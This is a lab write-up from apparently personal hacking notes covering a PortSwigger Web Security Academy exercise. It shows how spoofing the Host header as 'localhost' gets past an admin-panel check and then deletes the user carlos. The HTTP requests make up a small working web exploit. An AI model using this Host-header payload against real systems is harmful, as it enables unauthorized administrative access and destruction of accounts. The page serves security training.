> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/host-header/authentication-bypass-via-host-header.md).
# Authentication Bypass via Host Header
Authentication Bypass via Host Header notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Host Header Authentication Bypass
**Description of lab**
This lab is based on a bad server-side hypothesis: the user privilege level is determined based on the HTTP header value **Host**. / By handling this header it is possible to access features reserved for the administrator.
\*\* Target:\*\*/ Go to the admin panel and delete user **carlos**.
\*\* Initial behaviour observed\*\*
When one tries to access the admin page with a standard request, access is denied.
Classical request:
```http
GET /admin HTTP/2
Host: 0aa100b30336117186f29ede001a0029.web-security-academy.net
```
Response: unauthorized access
**Vulnerability analysis**
The application seems to grant high privileges when the request comes from a host considered to be "internal" or trustworthy, e.g. **localhost**. / No additional verification is performed to confirm the actual origin of the request.
```http
Host: 0aa100b30336117186f29ede001a0029.web-security-academy.net
```
**Exploitation**
Simply manually change the **Host** header value in the HTTP query.
Amended request:
```http
Host: localhost
```
Result: Authorized access to the administration panel
**Final Action**
Once administrator access is obtained, it is possible to delete the target user:
```bash
/admin/delete?username=carlos
```
---
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